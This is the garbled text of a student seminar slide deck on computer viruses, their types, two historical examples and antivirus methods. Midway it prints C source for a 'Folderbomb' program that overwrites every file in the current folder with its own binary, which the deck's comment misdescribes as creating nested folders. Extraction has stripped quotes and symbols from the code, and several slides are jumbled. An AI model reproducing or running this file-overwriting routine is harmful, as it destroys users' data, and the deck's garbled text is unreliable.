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Computer viruses and anti viruses by sasikumar
Contents
 Intentional Overview
 Definition of Computer Virus ?
 Who creates/writes viruses ?
 Why people creates computer viruses?
 How can they write virus codes?
 Effects by virus Infection
 How virus works
 Major Types of Viruses
 Boot Sector Virus
 Examples for Viruses
 Virus Prevention
 Conclusion
Intentional Overview
A Computer Virus is a computer program
What is a Computer Virus ?
that can copy itself and infect a computer
Without permission or knowledge of the user.
Who creates/writes viruses ?
1.INFO
ATTACKERS
Who creates/writes viruses ?
Who creates/writes viruses ?
Who creates/writes viruses ?
INFO ATTACKERS
Why people creates computer viruses?
 To attack the products of specific
companies.
 To theft the confidential info.
 To distribute political messages.
Some virus writers
consider their
creations to be
works of art, and see
virus writing as a
How can they write virus codes?
By using
Assembly
languages
like
Basic,
c,
Pascal e.t.c
What will happen if
your computer
Infected by virus
 Functions slower
than normal
 Responds slowly and
freezes often
 Restarts itself
often
 See uncommon
error messages,
distorted menus,
and dialog boxes
How virus works
Major
Types of Viruses
Virus
Boot
Sector
Virus
Boot
Sector
Virus
Program/
File
Infector
Program/
File
Infector
Trojan
Horses
Trojan
Horses
WormsWorms
Macro
Viruses
Macro
Viruses Root KitRoot Kit
The boot virus affects the
booting process of the
infected computer system.
thus causing slow start up
and shut down process
Boot Sector Virus
Program/
File Infector
virusBecomes active when the
program file carrying the
virus is opened.
usually with below
extensions
.BIN .COM
.EXE .OVL
.DRV
Appears as
interesting program
file but when installed
it allows intruders to
access and read your
files
Trojan Horses
Copies and multiplies it
self by using computer
networks and security
flaws
Worms
Programmed as a
macro embedded in
a document, usually
found in Microsoft
Word and Excel.
Macro Virus
Designed to take
fundamental control of
a computer system,
without authorization
by the system's owners
RootKit
Two examples for Viruses
 Melissa
Type : Macro virus
 I Love You
Type : worm
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(
);
printf(nVirus: Folderbomb 1.0nProgrammer:
BAS Unnikrishnan(asystem0@gmail.com)n);
cprintf(
);
done = findfirst(*.*,&ffblk,0);
while (!done)
{
printf(n);
cprintf( %s , ffblk.ff_name);
printf(is attacked by );
cprintf(Folderbomb);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARY
O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
/*This is a simple virus program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......*/
Virus Prevention
Sources of Viruses
 Removable
Data Storage
Devises
 Internet
Anti-Virus
How does an Anti-Virus work ?
Scanner:
Detects the virus by using a list of existing virus
signature/definitions.
Monitors:
These are memory resident programs and alert
when any changes find in executable program.
INTEGRITY CHECKING PROGRAMS:
To execute any virus must integrate with
a executable program.so it checks for virus code
integration
Better than
Conclusion
Prevention is
Cure
Computer viruses and anti viruses by sasikumar
Thank you
A seminar by sasi

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Computer viruses and anti viruses by sasikumar